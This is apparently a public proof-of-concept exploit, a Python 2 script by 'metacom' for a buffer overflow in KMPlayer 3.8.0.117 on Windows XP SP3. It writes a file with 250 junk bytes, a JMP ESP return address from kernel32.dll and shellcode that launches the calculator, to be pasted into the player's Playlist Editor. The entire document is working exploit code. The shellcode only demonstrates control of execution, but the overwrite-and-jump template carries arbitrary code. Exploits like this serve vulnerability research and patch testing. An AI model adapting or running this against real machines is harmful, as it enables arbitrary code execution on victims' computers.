#!/usr/bin/python # KMPlayer 3.8.0.117 Buffer Overflow # Author: metacom # Tested on: Windows Xp pro-sp3 En # Download link :http://www.chip.de/downloads/KMPlayer_33859258.html # Version: 3.8.0.117 Kmp Plus # Howto / Notes: # Run KMPlayer Playlist Editor > New Album and paste Exploit Code import struct def little_endian(address): return struct.pack("<L",address) junk = "\x41" * 250 eip = little_endian(0x7C86467B) #7C86467B FFE4 JMP ESP kernel32.dll shellcode=( "\x31\xC9" #// xor ecx,ecx "\x51" #// push ecx "\x68\x63\x61\x6C\x63" #// push 0x636c6163 "\x54" #// push dword ptr esp "\xB8\xC7\x93\xC2\x77" #// mov eax,0x77c293c7 "\xFF\xD0" #// call eax ) exploit = junk + eip + shellcode try: rst= open("crash.txt",'w') rst.write(exploit) rst.close() except: print "Error"